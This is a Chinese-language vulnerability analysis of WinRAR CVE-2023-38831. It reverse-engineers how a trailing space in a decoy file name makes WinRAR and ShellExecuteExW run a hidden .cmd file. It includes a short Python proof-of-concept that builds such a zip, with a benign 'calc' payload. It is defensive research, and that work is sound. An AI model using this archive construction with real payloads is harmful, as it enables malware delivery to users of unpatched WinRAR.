CVE-2023-38831 WinRAR 远程代码执行漏洞分析

概述

2023 年 8 月 23 日,Group-IB 发布博客,披露了 WinRAR CVE-2023-38831 远程代码执行漏洞。

CVE-2023-38831 漏洞的利用步骤是,攻击者做一个同时含有诱饵文件和恶意程序的压缩包,诱使受害者用 WinRAR 打开点击压缩包里的诱饵文件,由于 WinRAR 处理不当,导致看上去用户点开的是无害的图片或文本文件,但最终实际会去执行另一个恶意程序文件。

image-20230906173945566

因此这个漏洞准确来讲属于是 UI Spoof 或者 File Extension Spoof 更准确。

第一次做需要逆向的漏洞分析,详细记录下过程。

漏洞分析

PoC 复现

环境:Windows 7 x86-64,WinRAR 6.22

P.S. 用 Win7 的环境去分析是因为 Windows API Monitor 在 Win7 上可以正常使用,但在 Win10 上有些 API 会对应不上监控不到。

先根据网上公开的 PoC 写个最简单的脚本生成验证 PoC:

1
2
3
4
5
6
7
8
9
import zipfile

if __name__ == '__main__':
zip_file_path = r'test.zip'
bati_name = 'test.txt'
with zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr(f'{bati_name} ', b'hello')
# zipf.mkdir(f'{bati_name} ') # Can be omitted
zipf.writestr(f'{bati_name} /{bati_name} .cmd', b'calc')

根据 Group-IB 的文章,漏洞源于 WinRAR 对 ShellExecute 的传参调用不当。对触发漏洞的过程开 Process Monitor 监控,定位到最终触发执行的大概的位置:

image-20230827234606199

image-20230827234644923

+0x1061af

image-20230827234712187

确实会在 %TEMP% 路径下生成一个临时文件夹,写入打开时解压创建的临时文件:

image-20230906180023281

那么先不分析程序代码逻辑,根据漏洞触发的行为和结果,自然就会有如下疑问:

  1. ShellExecuteExW 是如何使用不当导致这个漏洞?
  2. WinRAR 点开诱饵文件的时候为何会导致生成两个临时文件(诱饵文件、恶意程序各一个)?
  3. 压缩包构造时,为什么要在诱饵文件名末尾加空格,恶意程序文件名为何要这样构造,为什么最后解压出来的时候恶意程序文件的目录没了?

带着这些问题,逐个分析。

ShellExecuteExW 特性

ShellExecuteExW 函数是个功能很全的函数,它根据传入的 pExecInfo 参数的构造不同,可以对文件执行不同的特定操作。

根据 Windows API Monitor 抓到的结果,写出相同效果的 WinRAR 调用 ShellExecuteExW 的代码逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <Windows.h>

int main()
{
SHELLEXECUTEINFOW shExInfo = { 0 };
shExInfo.cbSize = sizeof(SHELLEXECUTEINFOW);
shExInfo.fMask = SEE_MASK_FLAG_NO_UI | SEE_MASK_NOASYNC | SEE_MASK_NOCLOSEPROCESS; // 0x540
shExInfo.lpVerb = NULL; // Default is OPEN
shExInfo.lpFile = L"C:\\Users\\admin\\AppData\\Local\\Temp\\rar\\test.txt ";
shExInfo.nShow = SW_SHOWNORMAL;


if (ShellExecuteExW(&shExInfo))
{
// File opened successfully
// Perform additional actions if needed
}
else
{
// Failed to open the file
// Handle the error accordingly
}

return 0;
}

在 C:\Users\admin\AppData\Local\Temp\rar 文件夹下创建 “test.txt” 和 “test.txt .cmd”,执行上面的代码,发现实际打开的会是 “test.txt .cmd”。

ShellExecuteExW 函数的实现可以在 shell32.dll 里找到(C:\Windows\System32 目录下),其部分逻辑还可以参考很久前泄露的 Windows XP 源码

ShellExecuteExW 其实就是创建了一个 CShellExecute 对象,然后执行 CShellExecute::ExecuteNormal:

image-20230907160554832

CShellExecute::_SetFile 函数将 ShellExecuteExW 的参数 pExecInfo->lpFile 赋值给 CShellExecute _szFile 成员的时候,会先丢掉包裹的双引号(如果有的话),以及末尾的 /..

image-20230907161109071

然后走到 CShellExecute::_DoExecute,它先调用 CShellExecute::_InitPidl,做一些和 pidl 有关的初始化准备:

image-20230907195750832

P.S. 有关 PIDL 的概念可以参考微软官方文档:Common Explorer Concepts (Windows) | Microsoft Learn

CShellExecute::_InitPidl 里会执行 CShellExecute::_PerfBindCtx

image-20230907200012943

CShellExecute::_PerfBindCtx 里先对文件名路径做了一些判断:不是根路径、但是绝对路径,满足的话就调用 PathFileExistsDefExtAndAttributesW 函数查询出对应的文件信息:

image-20230907201737121

关键就在 shlwapi.dll!PathFileExistsDefExtAndAttributesW 这个函数的实现里:

image-20230907220717350

PathFileExistsDefExtAndAttributesW 这个函数逻辑用下面这段 Python 代码抽象概括会更好理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def PathFileExistsDefExtAndAttributesW(filePath):
fileExt = PathFindExtensionW(filePath)
if fileExt:
fileAttributes = GetFileAttributesW(filePath)
return fileAttributes
else:
newFilePath = filePath + ".*"
findFile = FindFirstFileW(newFilePath)
if findFile:
predefinedExeExts = [".pif", ".com", ".exe", ".bat", ".lnk", ".cmd"]
findFileExt = findFile['path'].substring(len(filePath))
for ext in predefinedExeExts:
if findFileExt == ext:
# 在 C 里,这里会更新原来传入的 path 指针指向的字符串
filePath = filePath + ext
return findFile['attrs']
return None

可以看出,如果在一开始的 if 判断里 PathFindExtensionW 没找到文件名后缀,那么会再看文件路径后是否有可执行文件后缀,如果有,原本的 szFile 字符串指针指向的值会被更新,末尾新加上找到的可执行文件后缀名。

这里的问题就在于,对于 “test.txt “ 这种点号后还带有空格的文件名,PathFindExtensionW 是取不到后缀的:

image-20230907220731055

这个与常理应该并不太相符,因为像很多 Web 应用处理文件名的逻辑里,获取文件名后缀的办法很简单,就是取文件名里最后一个点号及其后面的字符串即可。

为什么会这样呢?来翻一下微软官方的文档:

Naming Files, Paths, and Namespaces - Win32 apps | Microsoft Learn

Do not end a file or directory name with a space or a period. Although the underlying file system may support such names, the Windows shell and user interface does not. However, it is acceptable to specify a period as the first character of a name. For example, “.temp”.

Whitespace characters in file and folder names - Windows Client | Microsoft Learn

File and Folder names that begin or end with the ASCII Space (0x20) will be saved without these characters. File and Folder names that end with the ASCII Period (0x2E) character will also be saved without this character. All other trailing or leading whitespace characters are retained.

For example:

  • If a file is saved as ‘Foo.txt ‘, where the trailing character(s) is an ASCII Space (0x20), it will be saved to the file system as ‘Foo.txt’.

虽然还是不清楚 Windows 究竟为什么要这么做(可能是跟 DOS 时代历史遗留问题相关),但起码知道微软就是这么规定的,所以像在 explorer 里新建文件时末尾带的空格也会被自动丢弃这类行为就能理解了。

题外话:如何真的去创建一个文件末尾带空格的文件?还是看看文档:

For file I/O, the \\?\ prefix to a path string tells the Windows APIs to disable all string parsing and to send the string that follows it straight to the file system.

为了不让 Windows API 做多余的字符串解析,直接走底层操作,所以文件路径前缀上 \\?\ 就可以了:

1
open(r"\\?\C:\Users\admin\AppData\Local\Temp\space-test\test.txt ", "w")

并且这种文件创建出来后,还没法直接在 explorer 里删掉:

image-20230907224207376

也是得通过前缀 \\?\ 去删除。

虽然创建文件是会自动去除文件名末尾空格,但是很明显 PathFindExtensionW 取文件名后缀的时候不是,正是这种对空格处理的差异,成为这个漏洞利用里的关键一环。

在之后的执行中,由于确定到文件名后缀,会根据文件名后缀去查注册表:

image-20230907230925630

比如取到的后缀是 .bat ,注册表项 计算机\HKEY_CLASSES_ROOT\.bat 里的数据是 batfile:

image-20230831135919557

那么会再去查 计算机\HKEY_CLASSES_ROOT\batfile\shell\open\command (ExecuteShellExW 传参的 verb 默认是 open),这里的值最终就是实际执行的命令格式:

image-20230831140007769

image-20230907231403060

WinRAR 逻辑问题

WinRAR 的逆向分析部分就比较耗时间了,代码部分也比较长,只描述下大概的代码逻辑和关键部分。

用 WinRAR 打开压缩包里的文件的处理逻辑都在 sub_13FADEBF4 这个函数里。

+0xcede8:首先是一个循环,每次循环开始时,把当前处理的 zip entry name 放到一个全局变量里(g_path)

image-20230908131116604

+0xcfa2a:调用函数把 zip entry name 转成绝对路径

image-20230908131216766

它会先调用 +0x13FAA6754 的函数,去掉 zip entry name 里的目录部分:

image-20230908131944283

然后拼在 WinRAR 生成的临时目录绝对路径后面,并且去掉末尾的空格或者点号:

image-20230908132120866

所以 WinRAR 点开的压缩包里的 “test.txt “,实际对应的系统本地文件路径类似于:

“C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.47931\test.txt”

所以路径里把 zip entry name 文件夹部分和末尾的空格都丢弃掉了。

+0xcf100:比较在 UI 界面里点击选中的文件名和 zip entry name,如果匹配的话,就把这个 zip entry 信息设置到全局变量 g_entryTmp 里:

image-20230908132943457

+0x89948:比较两个路径是否匹配,这里比较的是 UI 里选中的文件名,和 zip entry name:

image-20230908133127623

问题就出在这里,它是先比较两个字符串的前 n 个字符,如果另一个字符串比较长,那么认为不是统一个路径。但如果另一个字符串的第 n+1 个字符正好是斜线或反斜线的话,就认为这两个路径是匹配的。

所以 “test.txt “ 和 “test.txt .cmd” 比较是不匹配的,返回 0;但是 “test.txt “ 和 “test.txt /test.txt .cmd” 就是匹配的,因为这俩前 9 个字符一样,而 “test.txt /test.txt .cmd” 第 10 个字符正好是 “/“,满足匹配的条件,返回 1。

g_entryTmp 引用的就是另一个全局变量结构体的数组里的一项,这个数组就是代表着要解压释放的临时文件相关的信息。所以当 zip 里的 entry 循环遍历完后,就开始循环处理要解压释放的临时文件数组了:

image-20230908134930576

+0x13FADFEDD:写入 zip entry 内容到本地临时文件路径

“C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.47931\test.txt”

image-20230908135053655

最后在 +0x1061af 处调用 ShellExecuteExW,传入文件路径作参数,但是这里传入的文件路径结尾是有空格的:

“C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.47931\test.txt “

image-20230908135557478

猜测是因为 ShellExecuteExW 这个文件路径是临时文件夹路径拼上的 UI 里点击获取的文件名:

+0xef60e:

image-20230908155144107

这个差异,最终导致 ShellExecuteExW 使用的是带空格结尾的文件路径,结合前面所提到的特性,最终打开的是 “test.txt .cmd”。

小结

  1. WinRAR 打开压缩包里文件时,会解压文件到本地临时目录
  2. WinRAR 解压释放文件时,没有正确地匹配需要解压释放的文件名,导致点开一个,会同时释放两个不同的文件
  3. WinRAR 写入临时文件的时候去掉了末尾的空格
  4. WinRAR 执行 ShellExecuteExW 打开文件的时候没有去掉末尾的空格
  5. ShellExecuteExW 在打开文件名末尾有空格的文件的时候,会调用 PathExtensionExW 确定文件名后缀
  6. 由于 PathExtensionExW 的特性,空格结尾的文件名会被认为没有后缀
  7. ShellExecuteExW 转而变成寻找打开带可执行文件名后缀的文件
  8. 攻击者的恶意脚本文件被执行

影响版本

WinRAR < 6.23

补丁分析

暂时没空了,留个坑,空了再看看。

其他说明

同期更新补丁还修了另外一个溢出漏洞 CVE-2023-40477:

WinRAR 6.23 final released

Release date: 02.08.2023

Release notes updated: 24.08.2023

  1. Added extraction of XZ archives utilizing ARM64 filter.

  2. Rar$LS* temporary files, created when extracting or testing multiple archives from Windows context menu, are now deleted immediately. Previously they were deleted only on next WinRAR runs and only if they were at least 1 hour old.

  3. Bugs fixed:

    1. Critical Bug: CVE-2023-40477. The vulnerability allows remote attackers to execute arbitrary code on affected installations. User interaction is required to exploit this vulnerability. This is fixed in the RAR4 recovery volume processing code.

      We would like to thank goodbyeselene in collaboration with Trend Micro Zero Day Initiative for reporting this bug.
      www.zerodayinitiative.com/advisories/ZDI-23-1152/

      Bug reported: 08.06.2023
      Fixed in new WinRAR Beta Version 6.23, released: 20.07.2023;
      Full Version 6.23 release: 02.08.2023

    2. Critical Bug: CVE-2023-38831. A vulnerability was discovered in the processing of ZIP format. Attackers could utilize affected archives to distribute malware. User interaction is required to exploit this vulnerability.

      We would like to thank Andrey Polovinkin of Group-IB Threat Intelligence for reporting this bug.
      www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/

      Bug reported: July 2023
      Fixed in 6.23 Beta Version, released: 20.07.2023
      Full Version 6.23 release: 02.08.2023

    3. if both NTFS and Unix time extra fields were available for a file in ZIP archive, extraction command ignored the second extra field even if it provided more time fields than first one;

    4. interface themes were applied to archive icons even if “Apply to archive icons” option in “Organize themes” dialog was turned off.

  4. win.rar GmbH highly recommends that all users install the latest version of WinRAR 6.23.
    The latest version can be found here: www.win-rar.com/download.html

并且这个溢出漏洞同时也影响 ClamAV:

https://blog.clamav.net/2023/08/clamav-120-feature-version-and-111-102.html

不过 WinRAR 官方认为这个漏洞实际比较难利用:

https://www.rarlab.com/vuln_rev3_names.html

Is there proof of concept for remote code execution?

We do not have such a proof of concept archive. The buffer border is overwritten with pointers to objects returned by the C++ new operator. This makes it difficult for an attacker to control the contents of data written beyond the buffer border. It also makes it difficult to implement a remote code execution exploit. While we can’t claim that it is impossible, all we’ve seen so far is a denial-of-service, or in other words, an application crash that doesn’t lead to code execution, overwriting of system files, or other serious security implications.

分析文章:

参考资料